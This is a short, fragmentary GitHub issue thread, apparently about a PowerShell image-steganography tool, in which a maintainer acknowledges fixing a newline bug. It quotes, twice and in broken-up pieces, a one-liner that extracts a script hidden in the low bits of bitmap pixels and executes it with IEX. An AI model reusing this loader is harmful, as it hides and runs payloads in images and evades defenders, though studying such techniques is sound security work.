Closed jesusninoc closed 6 years ago
$pscmd = "sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g= a System.Drawing.Bitmap("$Out");$o= a Byte[] $array;(0..$lrows)|% {foreach($x in (0..$lwidth)){$p=$g.GetPixel($x,$_);$o[$_*$width+$x]=([math]::Floor(($p.B -band 15)*16) -bor ($p.G -band 15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..($lpayload+1)]))"
"System.Drawing
$g= a System.Drawing.Bitmap(
");
$x in (0..$lwidth)){
$g.GetPixel(
$_);
$_*$width+
$p.B -band 15)*16) -bor (
$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(
Yes! Just fixed this. I didn't notice for a long time since almost any script ends with a newline.
$pscmd = "sal a New-Object;Add-Type -AssemblyName
"System.Drawing
";$g= a System.Drawing.Bitmap(
"$Out");
$o= a Byte[] $array;(0..$lrows)|% {foreach($x in (0..$lwidth)){
$p=$g.GetPixel(
$x,$_);
$o[$_*$width+
$x]=([math]::Floor(($p.B -band 15)*16) -bor (
$p.G -band 15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(
$o[0..($lpayload+1)]))"